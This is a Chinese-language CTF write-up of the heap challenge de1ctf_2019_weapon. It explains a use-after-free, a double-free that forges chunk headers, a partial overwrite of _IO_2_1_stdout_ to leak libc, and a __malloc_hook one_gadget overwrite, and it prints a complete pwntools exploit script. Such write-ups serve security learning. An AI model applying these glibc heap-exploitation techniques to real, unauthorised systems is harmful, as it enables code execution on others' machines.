涨知识的一个pwn题:de1ctf_2019_weapon
没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多
怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度


漏洞点位于free函数,一个简单的UAF漏洞

然后接下来说说我一开始的思路
由于程序没有提供show函数,所以几乎可以确定要打_IO_2_1_stdout_,改掉flag然后泄漏libc
但是add函数里面只能申请小于0x60的chunk,根本找不到残留的unsorted bin留下的指针
然后,然后我就找不到思路了
然后学习了一波师傅们的wp
其实这个除了UAF还有一个小漏洞,就是可以自己申请index,可以申请0-9号的任意index
这就为我们伪造unsorted bin留下了条件
思路,要想拿到unsorted bin的指针,首先我们需要一个0x60的fastbin,然后在相同的位置需要一个unsorted bin,这样fastbin的fd pointer就留下了unsorted bin的fd pointer,就可以攻击_IO_2_1_stdout_了
然后就是常规的hack __malloc_hook
仔细记录一下中间过程
先来伪造一个header,目的:可以改下一个chunk的控制信息
1 add(0x10,0,'aaaaaaaa')
2 add(0x10,1,'bbbbbbbb')
3 add(0x60,2,'cccccccc')
4 add(0x10,3,'dddddddd')
5
6 free(0)
7 free(1)
8 free(0)
9
10 add(0x10,0,p64(0) + p64(0x21))
11 add(0x60,8,'eeeeeeee')
12
13 edit(1,'\x10')

这样我们可以申请到010的位置,从而可以对020这个chunk的header 进行修改,可以先改成0x71,然后free一下,然后再改成一个unsorten bin大小的chunk,再free,这样就有了残留的堆指针
1 add(0x10,1,'aaaaaaaa')
2 add(0x10,4,p64(0) + p64(0x71))
3 edit(2,0x40 * 'a' + p64(0) + p64(0x71)) # bypass free check: the next chunk size cannot equal to 0
4 free(1)

编辑2号chunk的目的是绕过free时的检查
接下来fast bin拿到unsorted bin的fd指针
1 edit(4,p64(0) + p64(0x91)) # to change the chunk size
2 free(1) # now , fast fd has connected unsorted bin fd


然后就是常规思路了
申请到'\xdd\x*5'的位置,'*'需要爆破,1/16的概率,直接扔个try except


1 edit(1,'\xdd\x65')
2 edit(4,p64(0) + p64(0x71)) # don't forget to renew size
3 payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800) # change flags
4 payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller
5 add(0x60,5,'lemon')
6 add(0x60,6,payload

成功泄漏libc,后面就是常规的__malloc_hook - 0x23
1 libc = ELF('./libc-2.23.so')
2 _IO_2_1_stderr_ = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
3 libc_base = _IO_2_1_stderr_ - libc.sym['_IO_2_1_stderr_']
4 __malloc_hook = libc_base + libc.sym['__malloc_hook']
5 one_gadget_list = [0x45216,0x4526a,0xf02a4,0xf1147]
6 one_gadget = libc_base + one_gadget_list[3]
7 print "[*] one_gadget:",hex(one_gadget)
8 add(0x60,5,'lemon')
9 free(5)
10 payload = 0x13 * 'a' + p64(one_gadget)
11 edit(5,p64(__malloc_hook - 0x23))
12 add(0x60,5,'\x10')
13 add(0x60,0,payload)
14 add(0x20,3,'hack')
15 gdb.attach(p)
16 p.interactive()
完整exp:
1 from pwn import *
2
3 '''
4 author: lemon
5 date: 2020-10-16
6 libc version: libc-2.23.so
7 '''
8
9 local = 1
10
11 binary = "./de1ctf_2019_weapon"
12
13
14 def dbg():
15 context.log_level = 'debug'
16
17 context.terminal = ['tmux','splitw','-h']
18
19
20 def add(size,index,content):
21 p.sendlineafter('choice >> ','1')
22 p.sendlineafter('wlecome input your size of weapon: ',str(size))
23 p.sendlineafter('input index:',str(index))
24 p.sendafter('input your name:',content)
25
26 def free(index):
27 p.sendlineafter('choice >> ','2')
28 p.sendlineafter('input idx :',str(index))
29
30 def edit(index,content):
31 p.sendlineafter('choice >>','3')
32 p.sendlineafter('input idx:',str(index))
33 p.sendafter('new content:',content)
34
35 while True:
36 try:
37 if local == 1:
38 p = process(binary)
39 else:
40 p = remote("node3.buuoj.cn",26759)
41 add(0x10,0,'aaaaaaaa')
42 add(0x10,1,'bbbbbbbb')
43 add(0x60,2,'cccccccc')
44 add(0x10,3,'dddddddd')
45
46 free(0)
47 free(1)
48 free(0)
49
50 add(0x10,0,p64(0) + p64(0x21))
51 add(0x60,8,'eeeeeeee')
52
53 edit(1,'\x10')
54
55 add(0x10,1,'aaaaaaaa')
56 add(0x10,4,p64(0) + p64(0x71))
57
58 edit(2,0x40 * 'a' + p64(0) + p64(0x71)) # bypass free check: the next chunk size cannot equal to 0
59
60 free(1)
61
62 edit(4,p64(0) + p64(0x91)) # to change the chunk size
63 free(1) # now , fast fd has connected unsorted bin fd
64
65 edit(1,'\xdd\x65')
66 edit(4,p64(0) + p64(0x71)) # don't forget to renew size
67
68 payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800) # change flags
69 payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller
70
71 add(0x60,5,'lemon')
72 add(0x60,6,payload)
73
74
75 libc = ELF('./libc-2.23.so')
76 _IO_2_1_stderr_ = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
77 libc_base = _IO_2_1_stderr_ - libc.sym['_IO_2_1_stderr_']
78
79 __malloc_hook = libc_base + libc.sym['__malloc_hook']
80
81 one_gadget_list = [0x45216,0x4526a,0xf02a4,0xf1147]
82 one_gadget = libc_base + one_gadget_list[3]
83 print "[*] one_gadget:",hex(one_gadget)
84
85 add(0x60,5,'lemon')
86 free(5)
87
88 payload = 0x13 * 'a' + p64(one_gadget)
89
90 edit(5,p64(__malloc_hook - 0x23))
91 add(0x60,5,'\x10')
92 add(0x60,0,payload)
93
94 add(0x20,3,'hack')
95
96 gdb.attach(p)
97 p.interactive()
98 break
99
100 except Exception as e:
101 print(e)
102 p.close()
103 continue

涨知识的一个pwn题:de1ctf_2019_weapon的更多相关文章
- pwn200,一道不完全考察ret2libc的小小pwn题
pwn200 ---XDCTF-2015 每日一pwn,今天又做了一个pwn,那个pwn呢???攻防世界的进阶区里的一道小pwn题,虽然这个题考察的知识不多,rop链也比较好构建,但是还是让我又学到了 ...
- pwn 题GDB调试技巧和exp模板
GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直 ...
- 由一道CTF pwn题深入理解libc2.26中的tcache机制
本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...
- PWN题搭建
0x00.准备题目 例如:level.c #include <stdio.h> #include <unistd.h> int main(){ char buffer[0x10 ...
- 第一解出的pwn题
虽然题目不难,但是 是我第一次做出的pwn题,得写下. __int64 sub_4007E6() { char s1; // [sp+0h] [bp-30h]@1 memset(&s1, , ...
- pwn题命令行解题脚本
目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持 ...
- 攻防世界pwn题:forgot
0x00:查看文件信息 该文件是32位的,canary和PIE保护机制没开. 0x01:用IDA进行静态分析 总览: 该函数就是:v5初值为1,对v2输入一串字符.然后执行一个会根据输入的字符串而修改 ...
- HCTF2018 pwn题复现
相关文件位置 https://gitee.com/hac425/blog_data/tree/master/hctf2018 the_end 程序功能为,首先 打印出 libc 的地址, 然后可以允许 ...
- 百度杯 十一月 的一道pwn题复现
拿到题后,就直接开鲁.. /ctf/pwn# checksec pwnme [*] '/ctf/pwn/pwnme' Arch: amd64--little RELRO: Full RELRO Sta ...
随机推荐
- xss利用——BeEF#stage3(绕过同源策略与浏览器代理)
绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...
- 初识ABP vNext(11):聚合根、仓储、领域服务、应用服务、Blob存储
Tips:本篇已加入系列文章阅读目录,可点击查看更多相关文章. 目录 前言 开始 聚合根 仓储 领域服务 BLOB存储 应用服务 单元测试 模块引用 最后 前言 在前两节中介绍了ABP模块开发的基本步 ...
- Alibaba高并发业务秒杀系统落地实战文档,已实践某大型秒杀场景
前言: 高并发,几乎是每个程序员都想拥有的经验.原因很简单:随着流量变大,会遇到各种各样的技术问题,比如接口响应超时.CPU load升高.GC频繁.死锁.大数据量存储等等,这些问题能推动我们在技术深 ...
- Kafka消费与心跳机制
1.概述 最近有同学咨询Kafka的消费和心跳机制,今天笔者将通过这篇博客来逐一介绍这些内容. 2.内容 2.1 Kafka消费 首先,我们来看看消费.Kafka提供了非常简单的消费API,使用者只需 ...
- makefile实验五 make clean rebuild 以及规则中的模式替换. 综合小小实验
makefile代码: .PHONY : rebuild clean $(TARGET) #声明伪目标时,除直接使用目标名外, 也可以使用 $(变量) 这是取变量的值 CC := g++ TARGET ...
- MacOS下Terminal获取GPS经纬度坐标
通过命令行直接获取经纬度坐标MacOS 首先下载WhereAmI,最新版本: https://github.com/robmathers/WhereAmI/releases/download/v1.1 ...
- Matlab中界面和注释---中英文切换问题
有参考网页后实践的心得: Matlab中界面和注释---中英文切换问题 网上有大把的方法,并不是一一有效,这里介绍一种比较简单的方法我自己的电脑挺好用的,大家的电脑matlab需要你们自己实验了. 1 ...
- matlab中ceil朝正无穷大四舍五入
来源:https://ww2.mathworks.cn/help/matlab/ref/ceil.html?searchHighlight=ceil&s_tid=doc_srchtitle 本 ...
- python自动化实现验证码登录过程
(自动化实现验证码登录,这里内容是入坑后,整合了几个文档的内容)|以下模块是使用时需要用到的首先:安装pillow库,它的作用是对图片进行简单的处理,在pytharm中使用pip install pi ...
- TP5调用小程序微信支付,回调,在待支付中再次调用微信支付
1,必须要有 $mch_id $key $appid这三个值,是需要去申请的,我是直接用公司的2,购买商品订单号用户openid统一下单名称商品价格(必须以分为单位,调起微信支付)服务器的ip地址(没 ...